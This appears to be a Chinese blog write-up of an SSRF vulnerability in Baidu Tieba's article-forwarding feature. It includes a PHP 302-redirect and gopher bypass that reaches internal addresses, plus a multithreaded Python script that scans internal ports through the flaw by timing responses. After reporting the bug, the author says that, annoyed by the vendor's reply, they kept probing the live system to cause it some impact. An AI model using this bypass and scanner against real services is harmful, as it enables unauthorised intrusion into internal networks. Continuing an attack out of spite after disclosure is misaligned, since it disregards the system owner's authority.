This is my wife

mywife


发现过程

百度贴吧是有个站子转发功能的,文章转发这种地方是存在ssr最大的可疑性的地方之一!
首先看到转发时是带有ur参数请求的,百度转发–>获取url参数数值–>请求该地址–>获取返回信息
我先赋值了一个dnslog 平台域名,发现返回了来自百度的ip

dnslog
是的,是来自某度某机房的请求
小tips:【测试的时候打开f12的network,看看有没有出现你请求的地址。如果没有那可能就是他的服
务器的请求,如果有那就是你本地的请求了。】
这时我尝试着访问内网P, <127.0.0.1>,哦不这大扯淡了。如果这个请求成功那真的很不现实了。
我询问了百度的VR小姐姐,得到了他们的ssrf测试接口:10.199.7.105
这时候我再去请求这个接口,发现失败了。但是我坚信这个地方存在ssr
我抽了根烟思考了一会,想到利用302跳转测试。详细php后端代码

1
2
3
<?php
header("Location:http:://my service ip:port");
?>

然后向url参数赋值http://www.xxx.com/xxx.php 等待了一会会我看见了远程服务器收到了请求

myservice

可以看见X-Real-IP: 是来自内网的ip段,确定了302跳转,可以绕过内网限制进行一个成功的ssrf内网请求,我提交了这个漏洞。

bsrc

但某度这个回应属实给我整笑了。那我就对你的系统造成点影响吧。


深入探测

继续用302跳转对ssrf接口进行内网端口探测,发现失败了。后期不知道为什么坚持了一下加了行:

1
$port = $_GET['p']; 

并且把协议由http改为了gopher。

完整的就是:

1
2
3
4
<?php
$port = $_GET['p'];
header("Location:gopher://my service ip:$port");
?>

带上端口去请求接口的80端口【http://www.xxx.com/xxx.php?p=80】,我发现时间那里,出现了不一样的显示,最后通过回显的时间进行判断是否成功。

1
2
大于> 2.6s --> 不存在 超时  
小于< 1s --> 存在 可以连接

out

yes

确认了成功访问了ssrf测试接口以后,我写了一段探测脚本,对ssrf接口进行了端口探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import sys
import threading
import requests
import queue
import time
threads_count = 2
que = queue.Queue()
lock = threading.Lock()
threads = []
ssrf_url = "http://xxx.baidu.com/xxx/xxx/xxx/xxx?url="
test_url = "https://xxx.xxx.com/xxx/xxx.php?p="
ua = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Host': 'xxx.baidu.com',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Cookie': 'xxxxxxxx'
}
ports = [21,22,23,25,69,80,81,82,83,84,110,389,443,445,488,3389,512,3306]

for i in ports:
que.put(str(i))
def run():
while que.qsize() > 0:
p = que.get()
try:
poc = ssrf_url+test_url+"{port}".format(port=p)
r = requests.get(poc,headers=ua,timeout=2.3)
result = "{port} 存在".format(port=p)
print(result)
except:
result = "{port} 不存在".format(port=p)
print(result)

for i in range(threads_count):
t = threading.Thread(target=run)
threads.append(t)
t.setDaemon(True)
t.start()

while que.qsize() > 0:
time.sleep(1.0)

python


最后

image-20220218195803885

哎,太低了 我以后不会再来了。